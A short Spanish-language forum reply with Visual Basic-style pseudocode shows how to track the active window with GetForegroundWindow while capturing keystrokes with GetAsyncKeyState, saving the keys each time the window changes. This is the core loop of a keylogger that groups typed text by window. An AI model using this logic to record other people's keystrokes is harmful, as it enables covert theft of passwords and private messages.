lo sé. te digo, que para saber si la ventana ha cambiado, debes de hacer lo anterior. Si el hwnd de la ventana nueva
es el mismo que el de la ventana activa, por eso te digo que compares el valor que tienes guardado de GetForegroundWindow, con el valor actual de GetForegroundWindow.
ventana = getforegroundwindow()
do while (1)
if ventana = getforegroundwindow() then 'si la ventana no ha cambiado
'sigues capturando teclas con getasynckeystate
else 'la ventana ha cambiado
'guardas las teclas, etc.
ventana = getforegroundwindow() 'muy importante esta linea
end if
loop